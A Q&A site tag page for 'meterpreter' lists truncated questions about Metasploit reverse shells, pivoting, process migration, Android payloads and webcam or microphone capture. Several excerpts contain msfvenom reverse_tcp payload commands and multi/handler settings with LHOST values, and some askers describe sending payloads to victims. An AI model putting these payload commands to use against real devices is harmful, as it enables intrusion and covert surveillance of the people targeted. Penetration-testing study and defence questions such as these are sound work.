Questions tagged [meterpreter]
The meterpreter tag has no usage guidance.
112
questions
1
vote
2answers
335 views
Is it possible to execute metasploit exploits from Meterpreter?
I have an attack scenario, first I send a malicious pdf to my victim, then I have a reverse tcp shell (Meterpreter session) on his computer then I want to exploit a samba server (which is already ...
1
vote
0answers
68 views
How does meterpreter STDAPI bypass window's webcam restriction's settings
How does the stdapi commands 'webcam_snap' and 'webcam_stream' in meterpreter session bypass webcam restrictions/privacy settings on windows? I want to know how one could replicate this for prevention ...
1
vote
0answers
164 views
seDebugPrivilege and OpenProcess() - Trying to understand how Windows restricts access to a process' virtual memory
I’ve been trying to understand how operating systems protect processes from each other. My understanding of Windows security is that a process can call OpenProcess() (thereby allowing read and write ...
1
vote
1answer
264 views
Cannot execute program with Meterpreter on target OS
I'm a uni student taking a course on cybersecurity and what I am attempting to do is solely for educational purposes and not malicious.
I used the eternalblue exploit to gain access to the victim's ...
1
vote
0answers
187 views
Meterpreter record_mic automation
I am toying with the record_mic function on my laptop and noticed that no matter what i do i cannot capture a stream longer than 12 seconds or i get timeout errors. I thought this was a limitation of ...
1
vote
1answer
3k views
How to connect to a meterpreter session opened manually on the target machine
I am trying to exploit a Windows 7 VM using metasploit. I was able to open a java meterpreter session and I want to access a native meterpreter. To do so I exported a meterpreter/reverse_tcp payload ...
1
vote
0answers
40 views
Proxychains to access ports on the same host
This might be an incredible dumb question but I need to know if this concept is even possible.
I have obtained a low privileged shell on a target machine. After doing some enumeration I know the host ...
1
vote
1answer
894 views
Get the privileges of root with the user with I do an exploit with Shellshock [closed]
I got the remote control of a linux machine with Shellshock attack in Kali Linux (attacker machine) to a TinyCore Linux (victim machine), I used this module to attack the CGI vulnerability:
use ...
1
vote
0answers
2k views
Unable to migrate meterpreter into 64 bit process? [duplicate]
How to migrate a meterpreter process into a 64 bit process?
When i run following exploit (ie_execcommand_uaf), it migrates into explorer which is 32 bit rather than to notepad.exe which is a 64 bit ...
1
vote
2answers
2k views
Run metasploit console resource scripts
Hi I want to do this in my lab environment:
When meterpreter shell is gained, automatically I want to execute console commands such as route add, jobs -K or use some other exploit or auxiliary ...
1
vote
0answers
587 views
Android meterpreter payload crashes app
I'm trying to inject a reverse_tcp meterpreter payload into my own app for educational purposes.
Loading the raw payload apk on my phone works over LAN/WAN.
I injected the payload manually by ...
1
vote
1answer
480 views
Prevent metasploit meterpreter process migration [closed]
Is there any way to prevent meterpreter process migration.?
1
vote
0answers
274 views
Setup a meterpreter session trough a vpn
this is my first post here.
I was trying to start a meterpreter session from a mac to my kali Linux machine trough a vpn but it isn't working.
I downloaded openVPN config files from vpnbook.com and ...
1
vote
1answer
3k views
Manually migrate to another process without using metasploit? [duplicate]
There is a useful meterpreter script that allows to migrate meterpreter to another process by specifying its PID.
Imagine I have my own session running. How could I migrate to another process without ...
1
vote
1answer
163 views
Meterpreter connections
If i setup a meterpreter reverse_https payload and send to multiple targets and they execute the payload whithout my handler running, when I setup the handler will they connect or do I have to have ...
1
vote
0answers
365 views
Metasploit to connect to a target behind NAT
During a pentest and I experienced a weird problem with connecting to the target machine which is behind a NAT network the scenario is basically,
they have a public ip : 1.1.1.1
and there are ...
1
vote
0answers
967 views
Metasploit payloads with VPN or proxies?
I have purchased VPN with torguard and asked them to forward ports. I run a test on the VPN IP and ports specified, and says ports closed, but they say otherwise in interface. Anyway I create a ...
1
vote
1answer
3k views
Stdapi commands not showing in meterpreter session
I created a android payload with public IP (android/meterpreter/reverse_https).
The stdapi commands(ls,cd,webcam_snap etc) are showing when the victim is in the same network.
But when I try to ...
1
vote
0answers
903 views
web view addjavascriptinterface exploit
I have been banging my head around this for almost 56 hours now (+/- a few that I took out to have a couple of naps and RedBulls) and have not been able to get anywhere with it so far.
I am trying ...
1
vote
0answers
821 views
Attaching orphaned/stageless session meterpreter
I have problems with meterpreter reverse_https. In my engagement, I saw this message in console; "Attaching orphaned/stageless session meterpreter"
But after I lose connection, and victim connects ...
1
vote
0answers
1k views
Android not connected to kali linux with meterpreter in metasploit
I keep running into an error.
I create an apk:
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 R > test.apk
In the console, I configure the multi/handler:
set PAYLOAD ...
1
vote
0answers
121 views
Metasploit Plugin not interacting with Meterpreter Client
I'm developing a plugin to automate some post exploitation tasks. Two days ago all methods that interact with the client (from the client_core and stdapi) simply don't return anything, like if in a ...
1
vote
0answers
391 views
Metasploit payload problem [closed]
Recently I tested a shell vector payload. A text file converted to .bat, which is both theoretically and practically 100% undetectable by antivirus. First I tested it on my host computer for Kali ...
1
vote
0answers
1k views
How does Metasploit's payload work with a remote target?
I have some simple questions. I often use Metasploit in my pentest engagements.
It works fine when I'm inside a local network. Okay, we know that, when the payload is injected properly, it will give ...
1
vote
0answers
2k views
Meterpreter:execute command failed [closed]
When run execute -f cmd.exe -i -H, Meterpreter gave me an error:
[-] stdapi_sys_process_execute: Operation failed: 1
What is causing this, and how to resolve it?
0
votes
3answers
167 views
How can clicking on a URI infect a host? [duplicate]
I watched a generic information security awareness presentation earlier, in which all that was required for the presenter to penetrate an organisation (with a meterpreter/reverse shell), was for ...
0
votes
2answers
7k views
Meterpreter commands not working in shell [closed]
I used use multi/handler followed by set PAYLOAD windows/meterpreter/reverse_tcp then set LPORT 80 and set LHOST 192.168.0.11 after that I do exploit -j -z and go on my Windows machine connected to ...
0
votes
2answers
3k views
Meterpreter reverse_https ExitOnSession
When I'm setting the options for the reverse_https handler in metasploit, why would I set ExitOnSession to false and SessionCommunicationTimeout to 0? I don't fully understand the purpose. When I used ...
0
votes
1answer
33 views
keep session alive
In this scenario where someone creates a meterpreter payload and sends it to the target that clicks on it, the person who sent the payload stays away from his PC and in that meantinme the target ...
0
votes
1answer
395 views
How to launch a Metasploit module with arguments in just one command
I am developing my first Metasploit module on Metasploit v5.0.1. I would like to launch my own module in one command with args and not using meterpreter. At this time, I launch my module with these ...
0
votes
2answers
558 views
How to use standalone meterpreter exe with a USB key connected to an unlocked victim session
When I need to make a POC about why it is dangerous to let the session unlocked, I used to put a mimikatz on an USB key and get the logon credentials in clear text.
But sometimes the client has no ...
0
votes
1answer
5k views
How to set correctly set Local Host on a payload for a user outside subnet?
I'm training with labs and metasploit and there's some payloads I can send to my target and exploit it(in my subnet). If I have to exploit a payload I sent to a target outside my network which options ...
0
votes
1answer
527 views
Adding plugin to meterpreter
I'm trying to add a meterpreter plugin,
a = client.railgun.kernel32.GetLogicalDrives()["return"]
# Math magic to convert the binary to letters
drives = []
letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
(...
0
votes
1answer
58 views
Help understanding pivoting and port forwading
I am trying to learn about pivoting/port forwarding and how to take full advantage of it. If I am connected to a network with the ip 192.168.0.10 and can see that 192.168.0.11 has access to a website ...
0
votes
1answer
691 views
Metasploit - Does the multi handler sends the payload, or just listens for connection
Does the metasploit module: exploit/multi/handler
sends payloads to stagers?
Or does it just listens for an incoming connection like a netcat
listener?
Or does it do both, as needed?
0
votes
1answer
3k views
How do I get back to a Meterpreter shell after backgrounding it?
Curious if any of you have an answer to this Metasploit question. It's an issue of a Metasploit session within another Metasploit session.
In this lab I'm doing, I need to compromise a machine (10.10....
0
votes
1answer
740 views
Meterpreter reverse shell alternative
What can you do if you are behind NAT but can't do port forwarding and don't want to pay for a virtual server with internet-facing IP? I read the answer to this question which suggests some tunneling ...
0
votes
1answer
1k views
From SQL Injection in SQLite to shell
I need to obtain a shell from an SQL injection over an application with sqlite database.
Currently my exploit looks like the following:
lucian@0x90:~/$ proxychains nc 10.185.10.55 1101
ProxyChains-3....
0
votes
2answers
1k views
MSFvenom payload with dynamic options
I am using MSFvenom to export meterpreter's reverse TCP payload. While this works with msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.6.131 LPORT=4444 -f -exe > ~/Desktop/...
0
votes
1answer
729 views
How to find external ip address a payload uses to connect back to the attacker?
I find myself targeted with a malicious .apk file. I am provided with some malicious files disguised as a genuine .apk.
I used apktool to decompile the file and collect some information about the ...
0
votes
2answers
1k views
Msfvenom meterpreter android architectures
Is there any android architecture I can set my meterpreter reverse_http payload to that works on every android phone?
Basically, when I don't set any architecture it defaults to dalvik but that ...
0
votes
1answer
1k views
Android meterpreter invalid session
Every time I use a meterpreter reverse https on an android phone over the internet, a session is created but after some seconds it says the session is not valid and it closes. When I do it on the LAN ...
0
votes
1answer
365 views
Meterpreter Webcam_snap warnings [closed]
Since I updated metasploit every time I run the webcam_snap command in meterpreter in recieve lots of warnings like the ones below, why do they appear?
Gtk-WARNING **: Theme parsing error: gtk-...
0
votes
1answer
3k views
Error when using metasploit mimikatz module
I'm working on dumping plaintext passwords from a compromised machine (it's my computer, research, blah blah blah)
Anyways, I'm getting a weird error when running the metasploit module in a ...
0
votes
1answer
528 views
How can I open a meterpreter shell on the target server after redirecting the target server to my own web server hosting the payload?
Alright, so here is what I did to a vulnhub machine after I found a XSS vulnerability in it.
Generated a reverse_tcp php payload and kept it within my web server.
Navigated to my web server's payload ...
0
votes
0answers
34 views
Is it possible to embed a Metasploit post module in a Meterpreter payload?
For example, in order to use post/windows/manage/persistence_exe, you have to have an already established meterpreter session with target system and then run it.
Is it possible to generate a SINGLE ...
0
votes
0answers
36 views
Exploit remote server through routing on existing meterpreter session
Trying to pivot from an existing meterpreter session on remote machine to a DC server (ip 172.16.13.26) using ms17_101_psexec module. (I know this module woorks on this server).
Existing meterpreter ...
0
votes
0answers
26 views
Auto execute meterpreter commands on session start(android) [duplicate]
I want my meterpreter to execute the command as soon as it gets the session. My payload is android/meterpreter/reverse_tcp
I want a file that can execute these commands automatically as soon as ...
0
votes
0answers
1k views
Meterpreter is failing to load any extension except the core commands
[*] Starting persistent handler(s)...
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
...
0
votes
1answer
190 views
How to response to Meterpreter HTTP Request sent from client
First of all apologies for mistakes as i am at beginner level. I was exploring Meterpreter HTTP Handler. I have created a payload with meterpreter reverse HTTP and writing my own http server for ...
